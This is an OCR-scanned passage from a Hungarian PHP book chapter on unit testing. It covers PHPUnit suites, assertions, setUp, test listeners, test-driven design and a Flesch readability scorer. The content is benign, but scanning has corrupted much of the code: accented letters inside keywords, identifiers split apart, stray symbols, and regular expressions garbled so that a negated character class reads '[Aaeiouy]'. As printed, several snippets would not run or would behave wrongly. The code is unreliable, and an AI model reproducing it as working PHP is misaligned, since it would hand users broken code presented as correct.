parent: :__ construct ( $name) ;
}
public function testLocalPart() {
$email = new EmailAddress("georgeüomniti.com");
// ellenőrizzük, hogy a cím helyi része 'george'-e
$this->assertTrue($email->localPart == 'george') ;
}
public function testDomain() {
$email = new EmailAddress("george@omniti.com");
$this->assertTrue($email->domain == 'omniti.com');
}
}
if (realpath($_SERVER[PHP_SELF] ) ==__ FILÉ__ ) {
$suite = new PHPUnit_Framework_TestSuite('EmailAddressTestCase');
PHPUnit_TextUI_TestRunner::run($suite);
}
?>

A tesztek nagyobb egységbe való beemelésén kívül közvetlenül is végrehajthatjuk az


EmailAddress .phpt-t, hogy csak a benne található tesztek fussanak le:

PHPUnit 1 . 0 . 0 -d e v by Sebastian Bergmann.

Time: 0.0028760433197

OK (2 tests)
168 PHP fejlesztés felsőfokon

Egyszerre több teszt futtatása


Ahogy egy alkalmazás mérete nő, az újraépítés rémálommá válhat. Láttam már olyan, mil-
lió sorból álló kódalapot, amelyben a hibákkal nem is törődtek, egyszerűen azért, mert
a kód túl sok létfontosságú összetevőhöz kapcsolódott, amelyek működőképességét nem
akarták kockára tenni. Az igazi gondot nem a kód átfogó felhasználása jelentette, hanem
az, hogy az alkalmazás összetevőinek tesztelésére nem volt megbízható módszer, amivel
az újraépítések hatását meg lehetett volna határozni.

Én lusta vagyok, és úgy vélem, a legtöbb fejlesztő az - ami nem feltétlenül baj. Egy egysze-
rű regressziós tesztet írni könnyű, így ha a teljes alkalmazást nem tudom könnyen ellen-
őrizni, ellenőrzöm azt a részét, amelyiket könnyen lehet. Szerencsére a TestCase objektu-
mokat egyszerű összefogni egy nagyobb regressziós tesztben. Ha egyetlen teszt részeként
több TestCase objektumot szeretnénk futtatni, osztályaikat az addTestSuite () tag-
függvénnyel adhatjuk a csomaghoz. Lássuk, hogyan:

<?php
require_once "EmailAddress.phpt";
require_once "Text/Word.phpt";
require_once "PHPUnit/Framework/TestSuite.php";
require_once "PHPUnit/TextUI/TestRunner.php";

$suite = new PHPUnit_Framework_TestSuite();


$suite->addTestSuite('EmailAddressTestCase');
$suite->addTestSuite('Text/WordTestCase');

PHPUnit_TextUI_TestRunner::run($suite);
?>

A másik megoldás, ha kihasználjuk a PHPUnit__Framework__TestSuite automa-


tikus bejegyzési képességeit. Az automatikusan betöltendő tesztfüggvények elnevezési
szabályaihoz hasonlóan megkövetelhetjük, hogy minden automatikusan betöltendő
PHPUnit_Framework_TestCase alosztály neve TestCase-re végződjön. Ezután
végignézhetjük a bevezetett osztályok listáját, hogy a megfelelő osztályokat a tesztcso-
maghoz adjuk. Mindez így történik:
<?php
require_once "PHPUnit/FrameWork/TestSuite.php";

class TestHarness extends PHPUnit_Framework_TestSuite {


priváté $seen = array();
public function __ construct() {
$thís = parent: :__ construct();
foreach( get_declared_classes() as $class) {
$this->seen[$class] = 1;
}
}
6. fejezet • Egységtesztelés 169

public function register($file) {


require_once($file) ;
foreach( get_declared_classes() as $class) {
if(array_key_exists($class, $this->seen)) {
continue;
}
$this->seen[$class] = 1;
// a ZE kisbetűssé alakítja az osztályneveket, ezért
"testcase"-t keresünk
if(substr($class, -8, 8) == ' t e s t c a s e ' ) {
print "adding $class\n";
$this->addTestSuite($class);
}
}
}
}
?>

A TestHarness osztály használatához egyszerűen be kell jegyeznünk a tesztosztályokat


tartalmazó állományokat, és ha azok neve TestCase-re végződik, bejegyezhetők és fut-
tathatók lesznek. Az alábbi példában egy burkolót készítünk, ami a TestHarness segít-
ségével automatikusan betölti az EmailAddress .phpt és a Text/Word.phpt állomá-
nyokban található teszteseteket:

<?php
require_once "TestHarness.php";
require_once "PHPUnit/TextUI/TestRunner.php";

$suite = new TestHarness();


$suite->register("EmailAddress.phpt");
$suite->register("Text/Word.phpt");
PHPUnit_TextUI_TestRunner::run($suite);
?>

Ez megkönnyíti, hogy egyetlen központi helyről futtassunk minden PHPUnit_Frame-


work_TestCase objektumot, ami nagy megkönnyebbülést jelenthet, ha egy API-ban
olyan központi könyvtárakat építünk újra, amelyek az alkalmazás számos különböző ré-
szére lehetnek hatással.

A PHPUnit további szolgáltatásai


Az egyik előnye annak, hogy (akár kevésbé érett) nyílt forrású szoftvert használunk, az,
hogy általában jócskán tartalmaz a használatot megkönnyítő szolgáltatásokat. Minél több
fejlesztő használja, annál több „kényelmi" szolgáltatás kerül bele, így válogathatunk az íz-
lésünknek megfelelő nyelvi megoldások között.
170 PHP fejlesztés felsőfokon

A szolgáltatások túltengése

Az új szolgáltatások megjelenése mind a nyílt forrású, mind a kereskedelmi programok-


ban gyakran éppúgy átok, mint áldás. Egy alkalmazás szolgáltatáskörének növekedése ál-
talában két kellemetlen következménnyel jár:

• Egyes szolgáltatásokat elhanyagolnak, így nehéz megállapítani, melyek használata


a legcélszerűbb.
• A felesleges szolgáltatások felfújják a kódot, ami nehezíti a karbantartást és rontja
a teljesítményt.

Ezekkel a problémákkal és a rájuk adott megoldásokkal részletesen foglalkozunk


a 8. fejezetben.

Beszédesebb hibaüzenetek létrehozása

Néha az alábbinál beszédesebb üzenetekre lehet szükség:

PHPUnit 1. 0. 0-dev by Sebastian Bergmann.

.F.

Time: 0.00583696365356
There was 1 failure:
1) TestCase emailaddresstestcase->testlocalpart() failed:
expected true, actual falsé

FAILURES!!!
Tests run: 2, Failures: 1, Errors: 0.

Egy informatívabb hibaüzenet létfontosságú lehet, hogy megértsük, hol akadt el a prog-
ram, és mire utal a hiba, különösen ha egy tesztet többször, különböző adatokkal isméte-
lünk. A beszédesebb hibaüzenetek könnyebb létrehozását segítendő, a TestCase által
a PHPUnit: :Assert-től örökölt assert függvények támogatják a szabadon meghatá-
rozható hibaüzeneteket. Vegyük például a következő kódot:

function testLocalPart () {
$email = new EmailAddress("georg@omniti.com") ;
// ellenőrizzük, hogy a cím helyi része 'george'-e
$this->assertTrue($email->localPart == 'george');
}
6. fejezet • Egységtesztelés 171

Ez a kód a korábbihoz hasonló rejtélyes üzenetet eredményez. Helyette használjunk in-


kább saját üzenetet:

function testLocalPart() {
$email = new EmailAddress("georg@omniti.com");
// ellenőrizzük, hogy a cím helyi része 'george'-e
$this->assertTrue($email->localPart == ' geor g 1 ,
"localParts: $email->localPart of $email->address != 'george'");
}

Ez már sokkal világosabb hibaüzenetet ad:

PHPUnit 1.0. 0-dev by Sebastian Bergmann.

.F.

Time: 0.00466096401215
There was 1 failure:
1) TestCase emailaddresstestcase->testLocalPart() failed:
localParts: george of george@omniti.com != georg
FAILURES! ! !
Tests run: 2, Failures: 1, Errors: 0.

A hibaüzenet világosabbá tételével remélhetőleg kijavíthatjuk az elírást a tesztben.

Több tesztfeltétel hozzáadása


Az assertTrue segítségét igénybe véve egy kis erőfeszítéssel megállapíthatjuk, hogy
egy teszt sikeres volt-e. Ha minden tesztet igazságállításként kell kiértékelnünk, az elég
fárasztó lehet, ezért ebben a részben bemutatunk néhány másfajta megoldást.

Az alábbi kód például a == használatával ellenőrzi, hogy a $actual egyenértékű-e


a $expected-del:

assertEquals($expected, $actual, $message='')

Ha a kettő nem egyenértékű, hiba keletkezik, amihez üzenet is tartozhat. Vegyük például ezt:

$this->assertTrue($email->localPart === ' g e or g e ' ) ;

Ez azonos jelentésű ezzel:

$this->assertEquals($email->localPart, 'george');
172 PHP fejlesztés felsőfokon

A következő kód nem jár sikerrel, és hibaüzenetet adhat, ha a $object null:

assertNotNull($object, $message = '')

A következő kód nem jár sikerrel, és hibaüzenetet adhat, ha a $ob j ect nem null:

assertNull($object, $message = '')

Az alábbi kód a === használatával ellenőrzi, hogy a $actual egyenértékű-e


a $expected-del:

assertSame($expected, $actual, $message='')

Ha a kettő nem egyenértékű, hiba keletkezik (esetleges hibaüzenettel).

Itt ugyanazzal a módszerrel azt vizsgáljuk, hogy a kettő nem egyenértékű-e:

assertNotSame($expected, $actual, $message='')

Ha a kettő egyenértékű, hiba keletkezik (esetleges hibaüzenettel).

Az alábbi példában azt nézzük meg, hogy a $condition true-e:

assertFalse($condition, $message='')

Ha igaz, hiba keletkezik (esetleges hibaüzenettel).

Az alábbi kőd hibát ad vissza, ha a $actual nem illeszkedik a $expected-re:

assertRegExp($expected, $actual, $message='')

íme egy állítás, ami szerint a $ip 4 számjegy, pontokkal elválasztva:

// igazat ad vissza, ha a $ip négy számjegy, és pontok választják el


■» (mint egy ip címben)
$this->assertRegExp('/\d+\.\d+\.\d+\.\d+/',$ip);

Az alábbi kód hibát vált ki (esetleges hibaüzenettel):

fail($message= ' ' )


6. fejezet • Egységtesztelés 173

Sikert például ezzel jelezhetünk:

pass ()

A setUpO és tearDown() tagfüggvények használata


Sok teszt ismétlődő lehet. Az EmailAddress-t például tesztelni akarhatjuk többféle e-mail
címmel is. Jelenleg minden tesztfüggvényben új objektumot hozunk létre, de jobb lenne,
ha egyszerűsíthetnénk a munkát, és ezt a feladatot csak egyszer kellene végrehajtanunk.

Szerencsére a TestCase éppen erre a célra biztosítja a setüp és tearDown tagfüggvé-


nyeket. A setUp () közvetlenül a TestCase tesztfüggvényeinek lefutása előtt lép műkö-
désbe, míg a tearDown () rögtön utánuk fut le.

Ahhoz, hogy az EmailAddress .phpt-t átalakíthassuk a setUp () használatára, közpon-


tosítanunk kell az előkészítő munkát:

class EmailAddressTestCase extends PHPUnit_Framework_TestCase{


protected $email;
protected $localPart;
protected $domain;

function ____ construct($name) {


parent: :____ construct($name);
}
function setUp() {
$this->email = new EmailAddress("george@omniti.com");
$this->localPart = 'george';
$this->domain = 'omniti.com';
}
function testLocalPart() {
$this->assertEquals($this->email->localPart, $this->localPart,
"localParts: ".$this->email->localPart. " of
".$this->email->address." != $this->localPart");
}
function testDomainO {
$this->assertEquals($this->email->domain, $this->domain,
"domains: ".$this->email->domain.
" of $this->email->address != $this->domain") ;
}
}
174 PHP fejlesztés felsőfokon

Figyelők hozzáadása
Amikor végrehajtjuk a PHPUnit_TextUI_TestRunner: : run () függvényt, az egy
PHPUnit_Framework_TestResult objektumot hoz létre, amelyben a tesztek eredményei
tárolódnak majd, és hozzákapcsol egy figyelőt, amely a PHPUnit_Framework_Test-
Listener felületet valósítja meg. A figyelő feladata az esetleges kimenet előállítása, illetve
értesítés küldése a teszteredmények alapján.

Hogy jobban lássuk, miről is van szó, az alábbiakban myTestRunner () néven megte-
kinthetjük a PHPUnit_TextUI_TestRunner: : run () egyszerűsített változatát. Ez
a függvény ugyanúgy hajtja végre a teszteket, mint a TextUI, de hiányzik belőle a koráb-
bi példákban fellelhető időzítés:

require_once "PHPUnit/TextUI/ResultPrinter.php";
require_once "PHPUnit/Framework/TestResult.php";

function myTestRunner($suite)
{
$result = new PHPUnit_Framework_TestResult;
$textPrinter = new PHPUnit_TextUI_ResultPrinter;
$result->addListener($textPrinter);
$suite->run($result);
$textPrinter->printResult($result);
}

A PHPUnit_TextUI_ResultPrinter egy figyelő, amelynek feladata a korábban látott


kimenetek előállítása. Emellett a tesztekhez további figyelőket is adhatunk, aminek akkor
látjuk hasznát, ha az egyszerű szövegmegjelenítésen kívül másféle jelentéseket is szeret-
nénk. Egy nagy API-nál szükség lehet például egy fejlesztő levélben történő értesítésére,
ha egy, az ő keze alá tartozó összetevő megbukik az egységteszteken. (A fejlesztő nem
feltétlenül maga végzi a tesztelést.) Erre a célra egy ilyen figyelőt írhatunk:

<?php
require_once "PHPUnit/Framework/TestListener.php";

class EmailAddressListener implements PHPUnit_Framework_TestListener {


public $owner = "develepors@example.foo";
public $message = ' ' ;

public function addError(PHPUnit_Framework_Test $test, Exception $e)


{
$this->message .= "Error in ".$test->getName()."\n";
$this->message .= "Error message: ".$e->getMessage()."\n";
}
6. fejezet • Egységtesztelés 175

public function addFailure(PHPUnit_Framework_Test $test,


PHPUnit_Framework_AssertionFailedError $e)
{
$this->message .= "Failure in ".$test->getName()."\n";
$this->message .= "Error message: ".$e->getMessage()."\n";
}

public function startTest(PHPUnit_Framework_Test $test)


{
$this->message .= "Beginning of test ".$test->getName()."\n";
}

public function endTest(PHPUnit_Framework_Test $test)


{
if ($this->message) {
$owner = isset($test->owner)?$test->owner:$this->owner;
$date = strftime("%D % H : % M : % S " ) ;
mail($owner, "Test Failed at $date", $this->message) ;
}
}
}
?>

Ne feledjük: mivel az EmailAddressListener a PHPUnit_Framework_TestLis-


tener-t valósítja meg (és nem bővíti azt), az ott meghatározott valamennyi tagfüggvény-
hez megvalósítást kell nyújtania, ugyanazokkal a prototípusokkal.

Ez a figyelő úgy működik, hogy összegyűjt minden hibaüzenetet, amit egy teszt ad. Ami-
kor a teszt befejeződött, az endTest () meghívására, és az üzenet továbbítására kerül sor.
Ha a kérdéses tesztnek van owner tulajdonsága, a figyelő az annak megfelelő címet hasz-
nálja, ha nincs, a developers@example. foo alapértelmezést.

Ha ezt a figyelőt támogatni szeretnénk a myTestRunner () -ben, csak annyit kell ten-
nünk, hogy hozzáadjuk az addListener () függvénnyel:

function myTestRunner($suite)
{
$result = new PHPUnit_Framework_TestResult;
$textPrinter = new PHPUnit_TextUI_ResultPrinter;
$result->addListener($textPrinter);
$result->addListener(new EmailAddressListener) ;
$suite->run($result);
$textPrinter->printResult($result);
}
176 PHP fejlesztés felsőfokon

Grafikus felület használata


Mivel a PHP webközpontú nyelv, az egységtesztek futtatására lehet, hogy HTML alapú fel-
használói felületet szeretnénk. A PHPUnit tartalmazza az ehhez szükséges támogatást,
a PHPUnit_WebUI_TestRunner: : run () függvénnyel. A WebUI valójában szinte teljesen
azonos a TextUI keretrendszerrel, csak a HTML kimenet előállítására saját figyelőt alkalmaz.

Remélhetőleg a jövőben lesznek olyan egyesített fejlesztőkörnyezetek (IDE-k, programozá-


si GUI-k) a PHP-hez, amelyek az egységtesztelést is felveszik szolgáltatásaik közé (ahogy
számos Java IDE is teszi). A PHP-GTK kapcsán reménykedhetünk, hogy elkészül egy PHP-
GTK felület a PHPUnit-hoz. (A PHP-GTK egy PHP felület a GTK grafikus könyvtárfelület-
hez, amely lehetővé teszi a Windows és XI1 GUI fejlesztést PHP nyelven.) A PEAR kódtá-
rában tulajdonképpen van már egy kezdemény, a PHPUnit_GtkUI_TestRunner, de ez
ma még nem teljes.

Tesztvezérelt tervezés
Alapvetően három időpontban írhatunk teszteket: megvalósítás előtt, megvalósítás köz-
ben és megvalósítás után. Kent Beck, a JUnit szerzője, az extrém programozás elismert
szakértője azt mondja: „soha ne írjunk egyetlen sor kódot sem, amíg nincs egy meghiúsult
tesztesetünk". Ez azt jelenti, hogy mielőtt bárminek a megvalósításába belekezdenénk
(vagyis új kódot írnánk), határozzunk meg valamilyen hívási felületet a kód számára, és
írjunk egy tesztet, ami a várt működést ellenőrzi. Mivel még nincs kód, amit ellenőrizhet-
nénk, a teszt természetesen nem jár sikerrel. A lényeg az, hogy meghatározzuk, milyen vi-
selkedést kell mutatnia a kódnak a végfelhasználó felé, és előre végiggondoljuk, milyen
típusú bemenetet és kimenetet kell kapnia. Ez elsőre szélsőséges megoldásnak tűnhet, de
a tesztvezérelt fejlesztésnek (test-driven development, TTD) számos előnye van:

• Elősegíti a jó tervezést. - A kódolás megkezdése előtt teljes egészében megtervezzük


az osztályokat és függvényeket, mivel az API-k használatára már azok létezése előtt
kódot írunk.
• Megakadályozza, hogy eleve a kódhoz illeszkedő teszteket írjunk. - A TDD-vel elkerülhet-
jük a hamis tesztelést, amikor is elvárásokhoz igazítjuk a kódot.
• Segít korlátozni a kód hatókörét. - A nem tesztelt szolgáltatásokat nem szükséges meg-
valósítani.
• Javítja az összpontosítást. - Mivel sikertelen tesztekkel rendelkezünk, a fejlesztés ter-
mészetes módon arra irányul, hogy a tesztek sikeresen fussanak le.
• Meghatározza a sarkalatos pontokat. - A kód akkor tekinthető késznek és teljesnek, ha
minden teszt sikeresen lefut.

„A tesztelés az első" megközelítéshez hozzá kell szokni, és bizonyos helyzetekben nehe-


zen alkalmazható, de biztosítja a jó programfelépítést és a követelmények pontos mégha-
6. fejezet • Egységtesztelés 177

tarozását. Azzal, hogy a program követelményeit megvalósító teszteket írunk, nem csak
magasabb színvonalú kódot kapunk, hanem csökkentjük annak az esélyét is, hogy a kö-
vetelmények leírásakor véletlenül kihagyunk valamit.

A Flesch pontszámító
Rudolf Flesch nyelvész volt, aki a nyelvmegértést tanulmányozta, főként az angol nyelvvel
kapcsolatban. Flesch azzal kapcsolatos munkája, hogy mitől válik olvashatóvá egy szö-
veg, illetve hogyan tanulnak meg (vagy nem tanulnak meg) egy nyelvet a gyerekek, ösz-
tönözte Theodor Seuss Geiselt is (Dr. Seuss-t) kitűnő gyerekkönyvei, például a The Cat in
the Hat megírására. Flesch 1943-ban, a Columbia Egyetemen írt doktori disszertációjában
egy olvashatósági indexet állított fel, amely a szöveg elemzése alapján megállapítja annak
bonyolultsági fokát. A Flesch indexet ma is széles körben használják szövegek olvasható-
ságának osztályozására.

A teszt így működik:

1. Megszámoljuk a szavakat a szövegben.


2. Megszámoljuk a szótagokat a szövegben.
3. Megszámoljuk a mondatokat a szövegben.

Az index a következő képlet alapján áll elő:

Flesch pontszám = 206,835 - 84,6 x (szótagok/szavak) - 1,015 x (szavak, mondatok)

Az eredményként kapott pontszám adja meg a szöveg olvashatóságát. (Minél magasabb


a pontszám, annál könnyebben olvasható a szöveg.) A pontszámok a következő iskolai
szinteknek felelnek meg:

Flesch számítása szerint a Newsweek magazin olvashatósági pontszáma 50, a tinédzserek-


nek szóló Seventeen-é 67, az Egyesült Államok adóbevételi jelentéséé pedig -6. Az olvas-
178 PHP fejlesztés felsőfokon

hatósági indexet a marketingesek, a nagyobb cégek és kormányzati hivatalok arra a célra


használják, hogy biztosítsák, hogy a szöveg a célközönség számára érthető legyen (példá-
ul egy harmadikos olvasókönyvet ne az ötödikesek szintjén írjanak meg).

A Word osztály tesztelése


Kezdjük azzal, hogy írunk egy tesztet, ami egy szóban megszámolja a szótagokat:

<?php
require "PHPUnit/Framework/TestSuite.php";
require "PHPUnit/TextUI/TestRunner.php";
require "Text/Word.inc";

class Text_WordTestCase extends PHPUnit_Framework_TestCase {


public $known_words = array( 'the' => 1,
1 laté' => 1,
1frantic' => 2,

'programmer' => 3) ;

public function___ construct($name) {


parent::__ construct($name);
}
public function testKnownWords() {
foreach ($this->known_words as $word => $syllables) {
$obj = new Text_Word($word);
$this->assertEquals($syllables, $obj->numSyllables());
}
}
}
$suite = new PHPUnit_Framework_TestSuite('Text_WordTestCase');
PHPUnit_TextUI_TestRunner::run($suite);
?>

Ez a teszt természetesen nem jár sikerrel, hiszen még nincs Word osztályunk, de hamaro-
san erre is rátérünk. A Word számára megadott felület olyan, ami kézenfekvőnek látszik,
de ha a szótagszámlálásra nem bizonyul elégségesnek, majd kibővíthetjük.

A következő lépés, hogy megvalósítsuk a Word osztályt, ami már sikerrel veszi a tesztet:

<?php
class Text_Word {
public $word;
public function __ construct($name) {
$this->word = $name;
}
protected function mungeWord($scratch) {
// az egyszerűség kedvéért kisbetűs
6. fejezet • Egysógtesztelés 179

$scratch = strtolower($scratch);
return $scratch;
}
protected function numSyllables() {
$scratch = mungeWord($this->word) ;
// A szavakat elválasztjuk a magánhangzóknál (a, e, i, o, u,
»* illetve y).
$fragments = preg_split("/[Aaeiouy]+/", $scratch);
//A tömb mindkét végét kitakarítjuk, ha null elemek
szerepelnek ott.
if(!$fragments[0]) {
array_shift($fragments);
}
if (!$fragments[count($fragments) -1 ]) {
array_pop($fragments);
}
return count($fragments);
}
}
?>

Ezeknek a szabályoknak a laté nem felel meg. Ha egy angol szó mássalhangzó utáni e-re
végződik, az e általában nem számít önálló szótagnak (ellenben az y vagy az ie igen),
ezért az esetleges e végződéseket el kell távolítanunk. íme ennek a kódja:

function mungeWord($scratch) {
$scratch = strtolower($scratch);
$scratch = preg_replace("/e$/", "", $scratch);
return $scratch;
}

A teszten most a the bukik meg, amelyben a záró e eltávolítása után nem marad magán-
hangzó. Ezt úgy kezelhetjük, hogy biztosítjuk, hogy a teszt mindig visszaad legalább egy
szótagot:

function numSyllables() {
$scratch = mungeWord($this->word);
// A szavakat elválasztjuk a magánhangzóknál (a, e, i, o, u,
illetve y).
$fragments = preg_split("/[Aaeiouy]+/", $scratch);
// A tömb mindkét végét kitakarítjuk, ha null elemek
szerepelnek ott.
if(!$fragments[ 0 ]) {
array_shift($fragments);
}
180 PHP fejlesztés felsőfokon

if (!$fragments[count($fragments) - 1]) {
array_pop($fragments);
}
if(count($fragments)) {
return count($fragments);
}
else {
return 1;
}
}

Ha a szólistát kissé kibővítjük, észrevehetjük, hogy még mindig vannak hibák, különösen
a nem kettőshangzónak számító, több magánhangzóból álló hangkapcsolatok esetében
(amilyen például az ie az alien, vagy az io a biogmphy szóban). Ezekhez könnyen vehe-
tünk fel új teszteket:

<?php
require_once "Text/Word.inc";
require_once "PHPUnit/Framework/TestSuite.php";

class Text_WordTestCase extends PHPUnit_Framework_TestCase {


public $known_words = array( 'the' => 1,
'laté' => '1',
'hello' => '2',
'frantic' => ' 2 ' ,
'programmer' => ' 3 ' );
public $special_words = array ( 'absolutely' => 4,
'alien' => 3,
'ion' => 2,
'tortion' => 2,
'gracious' => 2,
'lien' => 1,
'syllable' => 3);

function __ construct($name) {
parent::__ construct($name);
}
public function testKnownWords() {
foreach ($this->known_words as $word => $syllables) {
$obj = new Text_Word($word) ;
$this->assertEquals($syllables, $obj->numSyllables(),
"$word has incorrect syllable count");

public function testSpecialWords() {


foreach ($this->special_words as $word => $syllables) {
$obj = new Text_Word($word) ;
6. fejezet • Egységtesztelés 181

$this->assertEquals($syllables, $obj->numSyllables(),
"$word has incorrect syllable count");
}
}
}
if (realpath($_SERVER[ ' PHP_SELF ' ] ) ==__ FILÉ__ ) {
require_once "PHPUnit/TextUI/TestRunner.php";
$suite = new PHPUnit_Framework_TestSuite('Text_WordTestCase');
PHPUnit_TextUI_TestRunner::run($suite);
}
?>

A teszt most ezt eredményezi:

PHPUnit 1.0.0-dev by Sebastian Bergmann.

. .F

Time: 0.00660002231598
There was 1 failure:
1) TestCase text_wordtestcase->testspecialwords() failed: absolutely
has incorrect syllable count expected 4, actual 5

FAILURES!!!
Tests run: 2, Failures: 1, Errors: 0.

A hiba kijavítását azzal kezdjük, hogy a numSyllables () függvényt egy újabb művelet-
tel egészítjük ki, ami az io és ie hangokat egy szótagnak számítja, a kétszótagú able miatt
hozzáad, az absolutely néma e-je miatt pedig levon egy szótagot:

<?
function countSpecialSyllables($scratch) {
$additionalSyllables = array( ' A w l i e n / ' , // alien, de nem lien
'/bl$/ ' , // szótag
'/io/', // biography
);
$silentSyllables = array( ' / \ w e l y$ / ' , // absolutely, de nem ely
);

$mod = 0;
foreach( $silentSyllables as $pat ) {
if(preg_match($pat, $scratch)) {
$mod--;
}
}
182 PHP fejlesztés felsőfokon

foreach( $additionalSyllables as $pat ) {


if(preg_match($pat, $scratch)) {
$mod++;
}
}
return $mod;
}
function numSyllables() {
if($this->_numSyllables) {
return $this->_numSyllables;
}
$scratch = $this->mungeWord($this->word);
// A szavakat elválasztjuk a magánhangzóknál (a, e, i, o, u,
'»»« illetve y) .
$fragments = preg_split("/[^aeiouy]+/", $scratch);
if(!$fragments[0]) {
array_shift($fragments);
}
if(!$fragments[count( $ f ragments) - 1 ] ) {
array_pop( $ f ragments);
}
$this->_numSyllables += $this->countSpecialSyllables($scratch);
if(count($fragments)) {
$this->_numSyllables += count( $ f ragments);
}
else {
$this->_numSyllables = 1;
}
return $this->_numSyllables;
}
?>

A teszt most már majdnem kész, de a tortion és a gracious is kétszótagú szó, amihez az
í'o-teszt most még túl „aggresszív". Ezért az ion és iou kapcsolatokat felvesszük a néma
szótagok listájára:

function countSpecialSyllables($scratch) {
$additionalSyllables = array( 'Awlien/', // alien, de nem lien
1/bl$/', // szótag

7io/', // biography
);
$silentSyllables = array( ' / \ w e l y$ / ' , // absolutely, de nem ely
'Awion /', // az io illesztés miatt
1/iou/ ' ,

);
$mod = 0;
foreach( $silentSyllables as $pat ) {
6. fejezet • Egységtesztelés 183

if(preg_match($pat, $scratch)) {
$mod--;
}
}
foreach( $additionalSyllables as $pat ) {
if (preg_match($pat, $scratch)) {
$mod++;
}
}
return $mod;
}

A Word osztály átmegy a teszten, így folytathatjuk a megvalósítást, hogy megszámláljuk


a szavakat és mondatokat is. Megint egy tesztesettel kezdjük:

<?php
require_once "PHPUnit/Framework/TestCase.php";
require_once "Text/Statistics.inc" ;

class TextTestCase extends PHPUnit_Framework_TestCase {


public $sample;
public $object;
public $numSentences;
public $numWords;
public $numSyllables;
public function setUp() {
$this->sample = "
Returns the number of words in the analyzed text filé or block.
A word must consist of letters a-z with at least one vowel sound,
and optionally an apostrophe or a hyphen.";
$this->numSentences = 2 ;
$this->numWords = 31;
$this->numSyllables = 45;
$this->object = new Text_Statistics($this->sample);
}
function _ construct($name) {
parent::__ construct($name);
}
function testNumSentences() {
$this->assertEquals($this->numSentences,
»•• $this->object->numSentences) ;
}
function testNumWords() {
$this->assertEquals($this->numWords, $this->object->numWords);
}
function testNumSyllables() {
184 PHP fejlesztés felsőfokon

$this->assertEquals($this->numSyllables,
$this->object->numSyllables);
}
}
if (realpath($_SERVER[ ' PHP_SELF ' ] ) ==____FILÉ__ ) {
require_once "PHPUnit/Framework/TestSuite.php";
require_once "PHPUnit/TextUI/TestRunner.php";

$suite = new PHPUnit_Framework_TestSuite('TextTestCase');


PHPUnit_TextUI_TestRunner::run($suite);
}
?>

Olyan teszteket választottunk, amelyek pontosan azt a statisztikát készítik el, amire egy
szövegblokk Flesch pontszámának kiszámításához szükség van. A „helyes" értékeket
magunk számítjuk ki a hamarosan elkészítendő osztályhoz. Amikor olyan szolgáltatáso-
kat készítünk, mint statisztikai adatok gyűjtése egy szövegdokumentumról, különösen
könnyű túlzásokba esni, de ha van egy jól körülhatárolt teszthalmazunk, amihez kódo-
láskor igazodhatunk, egyszerűbb tartani az irányt.

Próbálkozzunk meg hát a Text_Statistics osztály megvalósításával:

<?php
require_once "Text/Word.inc";
class Text_Statistics {
public $text = ' ' ;
public $numSyllables = 0;
public $numWords = 0;
public $uniqWords = 0;
public $numSentences = 0;
public $flesch = 0 ;
public function __ construct($block) {
$this->text = $block;
$this->analyze();
}
protected function analyze() {
$lines = explode("\n", $this->text) ;
foreach($lines as $line) {
$this->analyze_line($line) ;
}
$this->flesch = 206.835 -
(1.015 * ($this->numWords / $this->numSentences) ) -
(84.6 * ($this->numSyllables / $this->numWords));
}
protected function analyze_line($line) {
preg_match_all("/\b(\w[\W-]*)\b/", $line, $words);
6. fejezet • Egységtesztelés 185

foreach($words[1] as $word) {
$word = strtolower($word) ;
$w__obj = new Text_Word($word) ;
$this->numSyllables += $w_obj->numSyllables();
$this->numWords++;
if ( !isset($this->_uniques[$word])) {
$this->_uniques[$word] = 1;
}
else {
$this->uniqWords++;
}
}
preg_match_all( " / [ . ! ? ] / " , $line, $matches);
$this->numSentences += count($matches[ 0 ] );
}
}
?>

Hogyan működik mindez? Először is, átadjuk a szövegblokkot az analyze tagfüggvény-


nek. Az analyze az explode tagfüggvény segítségével bontja sorokra a dokumentumot,
az egyes sorokat pedig a létrehozott $lines tömbbe helyezi. Ezután minden sorra meg-
hívjuk az analyze_line () függvényt, amely a / \b (\w [ \w' - ] *) \b/ szabályos kifeje-
zéssel szavakra tördeli a sort. Ez a szabályos kifejezés a következőkre illeszkedik:

\b # szó eleje szóköz nélkül (szóhatár)


( # feldolgozás kezdete
\w # egyetlen betű vagy szám
[\w'-]* # nulla vagy több alfanumerikus karakter plusz 's vagy -s
# (az elválasztások és összevonások támogatására)
) # feldolgozás vége
\b # szó vége szóköz nélkül (szóhatár)

Az így beolvasott szavak mindegyikéhez létrehozunk egy Word objektumot, és megszá-


moljuk a benne levő szótagokat. Miután minden szót feldolgoztunk a sorban, megszámol-
juk a mondatvégi írásjeleket a / [ . ! ? ] / szabályos kifejezésre való illesztéssel.

Ha minden teszt sikeres, továbbléphetünk az alkalmazástesztelési szakaszra. Mielőtt átad-


nánk a kódot minőségellenőrzésre, a tesztelő osztályokat egyetlen csomagba kell ten-
nünk. A korábban megírt PHPUnit: :TestHarness segítségével ez egyszerű feladat:

<?php
require_once "TestHarness.php";
require_once "PHPUnit/TextUI/TestRunner.php";

$suite = new TestHarness();


$suite->register("Text/Word.phpt");
186 PHP fejlesztés felsőfokon

$suite->register("Text/Statistics.phpt");
PHPUnit_TextUI_TestRunner::run($suite);
?>

Ideális esetben most már átadhatnánk a kódot egy minőségellenőrző csapatnak, akik
a maguk módszerei szerint keresnének hibákat benne. Kevésbé ideális esetben magunk-
nak kell ellenőriznünk a kódot. Mindkét esetben valószínű azonban, hogy a kód még
a bonyolultság ilyen alacsony szintjén is tartalmazni fog hibákat.

1. hibajelentés
Bizonyos, hogy amint tesztelni kezdjük az eddig létrehozott kódot, hibajelentéseket ka-
punk. A rövidítéseket (például Dear Mr. Smith) tartalmazó szövegekben a mondatszám
túl magas, így a Flesch pontszám torzul.

A hiba megkereséséhez egyszerűen felvehetünk egy újabb tesztesetet. A korábban futta-


tott teszteknek ki kellett volna mutatniuk a hibát, de mivel a szövegben nem voltak rövi-
dítések, ez nem történt meg. A régi tesztesetet nem szeretnénk kicserélni (ez soha nem jó
ötlet, hacsak maga a teszt nem hibás); ehelyett egy újat veszünk fel, amely az előző sta-
tisztikai vizsgálatokat egy másik, rövidítéseket tartalmazó dokumentumon futtatja le. Mivel
csak a tesztelésre használt adatokat akarjuk megváltoztatni, nem magukat a teszteket, az
új TestCase objektumot nem a semmiből kell megírnunk; elég, ha egyszerűen egy al-
osztályt származtatunk a TextTestCase osztályból, és túlterheljük a setUp tagfügg-
vényt, valahogy így:

class AbbreviationTestCase extends TextTestCase {


function setUp() {
$this->sample = "
Dear Mr. Smith,

